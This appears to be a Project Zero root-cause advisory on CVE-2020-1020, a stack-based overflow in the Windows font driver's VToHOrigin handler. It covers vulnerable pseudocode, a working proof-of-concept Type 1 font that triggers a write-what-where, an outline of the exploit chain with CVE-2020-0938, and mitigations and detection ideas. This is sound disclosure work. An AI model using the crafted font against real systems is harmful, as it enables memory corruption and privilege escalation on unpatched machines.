CVE-2020-1020: Windows Font Driver Type 1 VToHOrigin stack corruption

Posted by Mateusz Jurczyk, Project Zero (2021-01-12)

Disclosure or Patch Date:

  • 23 March 2020 – advisory without technical details
  • 14 April 2020 – security bulletin and patch release

Product: Microsoft Windows

Advisory:

Affected Versions: Windows 7 through 10, prior to the April 2020 patch

First Patched Version: Windows with April 2020 patch (e.g. for Windows 10 1909/1903, KB4549951).

Issue/Bug Report: N/A

Patch CL: N/A

Bug-Introducing CL: N/A

Proof-of-Concept: See below
Exploit Sample:
N/A

Access to the exploit sample? Yes

Reporter(s): Google: Project Zero and Threat Analysis Group

Bug Class: Continuous stack-based buffer overflow leading to a write-what-where condition

Vulnerability Details:

The issue was found in the processing of the VToHOrigin PostScript font object. I suspect that this object had only been defined in one of the early drafts of the Multiple Master extension, as it is very poorly documented today and hard to find any official information on. There is a corresponding ParseBlendVToHOrigin handler in both the kernel-mode font driver (atmfd.dll on Windows 8.1 and earlier), and user-mode font driver (fontdrvhost.exe, Windows 10). The C-like pseudo code of the vulnerable function is as follows:

int ParseBlendVToHOrigin(void *arg) {

  Fixed16_16 *ptrs[2];

  Fixed16_16 values[2];

  for (int i = 0; i < g_font->numMasters; i++) {

    ptrs[i] = &g_font->SomeArray[arg->SomeField + i];

  }

  for (int i = 0; i < 2; i++) {

    int values_read = GetOpenFixedArray(values, g_font->numMasters);

    if (values_read != g_font->numMasters) {

      return -8;

    }

    for (int num = 0; num < g_font->numMasters; num++) {

      ptrs[num][i] = values[num];

    }

  }

  return 0;

}

In summary, the function initializes numMasters pointers on the stack, then reads the same-sized array of fixed point values from the input stream, and writes each of them to the corresponding pointer. The root cause of the problem is that numMasters may be set to any value between 0–16, but both the ptrs and values arrays are only 2 items long. This means that with 3 or more masters specified in the font, accesses to ptrs[2] and values[2] and larger indexes corrupt memory on the stack. Notably, in the fifth iteration of the loop, the code tries to write values[4] to ptrs[4], an out-of-bounds index which overlaps with ((values[0]<<32)|values[1]). Because all data in the values buffer comes from the input file, this leads to a classic write-what-where condition.

To trigger the bug, it is sufficient to load a Type 1 font that includes specially crafted WeightVector and VToHOrigin objects, for example:

~%!PS-AdobeFont-1.0: Test 001.001

dict begin

/FontInfo begin

/FullName (Test) def

end

/FontType 1 def

/FontMatrix [0.001 0 0 0.001 0 0] def

/WeightVector [0 0 0 0 0] def

/Private begin

/Blend begin

/VToHOrigin[[16705.25490 -0.00001 0 0 16962.25882]]

/end

end

currentdict end

%currentfile eexec /Private begin

/CharStrings 1 begin

/.notdef ## -| { endchar } |-

end

end

mark %currentfile closefile

cleartomark

The first highlighted line sets numMasters to 5, and the second one triggers a write of 0x42424242 (represented as 16962.25882) to 0xffffffff41414141 (16705.25490 and -0.00001).

Is the exploit method known? Yes
Exploit method: On Windows 8.1 and earlier versions, the vulnerability was repeatedly used to set up a second stage payload in RWX kernel memory at a known address, and then chained with CVE-2020-0938 (another stack corruption) to return to the payload. The exploitation process was straightforward because of the simplicity and reliability of the primitive. The bug was not exploited on Windows 10.

How do you think you would have found this bug?

The bug itself was trivial in nature, but the relevant VToHOrigin object is very rare and it's unclear if there are any legitimate Type 1 fonts that include it. This likely rules out dumb fuzzing as an option, leaving us with the following alternatives:

  1. Semi-smart fuzzing: For example, using a PostScript syntax-aware font generator with object names scraped from atmfd.dll or fontdrvhost.exe.
  2. Manual audit: The bug is easy to spot in the code manually, so it could have been found during a thorough audit of all PostScript object handlers defined in the font driver.
  3. Binary diffing: Forks of the same font engine exist in other products, e.g. the Adobe CoolType library (where the bug had been fixed for several years). The issue could have been identified by cross-diffing two copies of the same code and looking for security fixes present in one of them but not the other.

Out of these options, I consider 1) and 2) to be the most likely.

(Historical/present/future) context of bug: The vulnerability is one of many bugs discovered in the Adobe Type Manager Font Driver (ATMFD) in Windows over the years. While the Type 1 CharString interpreter and the parsing of OpenType fonts had been relatively well-tested in 2015-2017, the processing of textual PostScript objects seems to have remained a blind spot in vulnerability research, enabling the bug to survive for a long period of time.

Thanks to Microsoft's efforts to mitigate attacks against the graphical subsystem (win32k lockdown) and fonts in particular (the usermode font driver architecture), the GDI font-related attack surface lost its value for sandbox escapes, and I don't expect many more such bugs to be exploited in the wild in the coming years.

Areas/approach for variant analysis: Follow any of the methodologies listed above: run extensive fuzzing of the Type 1 PostScript parser, perform a code audit of the various object handlers present in the font driver, or analyze the binary diff between Microsoft's and Adobe's forks of the code to spot any discrepancies.

Found variants: N/A

Structural improvements: The most important mitigations existing today are the win32k lockdown policy (starting with Windows 8) and moving the font driver to a restricted user-mode process (since Windows 10). Potential ideas for the future include disabling some of the most legacy parts of the font driver (such as Multiple Masters), or hiding them behind a system-wide flag.

Potential detection methods for similar 0-days:

  • The usage of any PostScript objects related to the Multiple Master extension in Type1/OpenType fonts. This is a long deprecated feature that has likely no active users today beyond security researchers.

Other references:

  • Analysis of the CVE-2020-0938/CVE-2020-1020 font vulnerabilities based on patch diffing by Tencent Security: link (in Chinese).

No comments:

Post a Comment